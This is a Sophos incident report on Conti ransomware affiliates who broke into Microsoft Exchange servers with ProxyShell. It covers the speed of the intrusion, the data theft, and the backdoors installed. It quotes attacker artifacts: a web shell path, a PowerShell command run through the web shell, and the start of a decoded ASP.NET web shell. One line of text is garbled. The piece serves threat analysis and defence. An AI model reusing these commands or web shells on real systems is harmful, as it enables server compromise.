# Conti affiliates use ProxyShell Exchange exploit in ransomware attacks
**[news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/](https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/)**
September 3, 2021
An investigation into recent attacks by a Conti affiliate reveals that that the attackers initially accessed targeted organizations’ networks with
ProxyShell, an exploit of vulnerabilities in Microsoft Exchange that have been the subject of multiple critical updates over the past several
months. The attacker otherwise closely followed the game plan laid out in a recently leaked set of documentation attributed to Conti’s
operators.
[ProxyShell represents an evolution of the ProxyLogon attack method. In recent months, the exploit has become a mainstay of ransomware](https://news.sophos.com/en-us/2021/08/23/proxyshell-vulnerabilities-in-microsoft-exchange-what-to-do/)
[attacker playbooks, including those deploying the new LockFile ransomware first seen in July.](https://news.sophos.com/en-us/2021/08/27/lockfile-ransomwares-box-of-tricks-intermittent-encryption-and-evasion/)
As attackers have gained experience with the techniques, their dwell time before launching the final ransomware payload on target networks
has decreased from weeks to days to hours. In the case of one of the group of ProxyShell-based attacks observed by Sophos, the Conti
affiliates managed to gain access to the target’s network and set up a remote web shell in under a minute. Three minutes later, they installed a
second, backup web shell. Within 30 minutes they had generated a complete list of the network’s computers, domain controllers, and domain
administrators. Just four hours later, the Conti affiliates had obtained the credentials of domain administrator accounts and began executing
commands.
Within 48 hours of gaining that initial access, the attackers had exfiltrated about 1 Terabyte of data. After five days had passed, they deployed
the Conti ransomware to every machine on the network, specifically targeting individual network shares on each computer. Over the course of
the intrusion, the Conti affiliates installed no fewer than seven back doors on the network: two web shells, Cobalt Strike, and four commercial
remote access tools (AnyDesk, Atera, Splashtop and Remote Utilities). The web shells, installed early on, were used mainly for initial access;
Cobalt Strike and AnyDesk were the primary tools they used for the remainder of the attack.
### Initial compromise
While Microsoft has issued fixes that mitigate the vulnerabilities in April and May, those fixes require an upgrade to a recent Exchange Server
cumulative update—essentially a re-installation of Exchange that results in email downtime. Some organizations using Exchange Server have
not yet made that update, leaving them vulnerable to attackers who continuously scan the Internet for vulnerable Exchange servers. In the
case analyzed here, the target’s Windows 2012 R2 Standard server had been running Exchange Server 2016 Cumulative Update 3 (CU3). To
[mitigate against ProxyShell, Exchange 2016 installations need to be updated to at least the CU19 version, released in December, 2020.](https://www.microsoft.com/en-us/download/details.aspx?id=102532)
-----
Us g o yS e, t e attac e s c eated a e a bo o ad st ato, a d t e ass g ed e o es to t at a bo us g c oso t
Exchange “cmdlets”—including rights to remotely execute PowerShell commands.
[In another recent Conti ProxyShell attack, the attacker created a mailbox referencing Evil Corp, the organization behind Dridex (as well as a](https://www.bbc.com/news/world-us-canada-53195749)
fictional company the television show Mr. Robot), as part of the ProxyShell attack:
After gaining access through the exploit, the attackers then created a web shell on the localhost address of the server:
**\\127.0.0.1\C$\inetpub\wwwroot\aspnet_client\aspnetclient_log.aspx**
Three minutes later, the attacker issued the first command through the shell – a PowerShell script, encoded in base64. It was a whoami
command, used to check which account the actors were using for access. (The encoded script, along with the other encoded scripts from this
incident, is included in the IOCs section at the end of this report.)
The next encoded command passed is the command line interface to Windows’ Service Control Manager:
```
sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('ls c:\inetpub\wwwroot\aspnet_client\')|Out-String)
```
This command abuses Service Control Manager to execute a directory look-up on the directory where the web shell has been dropped, writing
out the results to a file called test.txt, which can be viewed remotely through the web shell.
Next, they executed another, much larger, encoded PowerShell command. This command is double-obfuscated. Decoding the command itself
reveals more abuse of Service Control Manager is involved, but there’s also an encoded variable, $a. The script outputs the contents of $a to a
file, and checks the contents of the directory afterward to make sure it succeeded. The variable decodes as yet another web shell:
-----
```
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Runtime.Serialization.Formatters.Binary" %>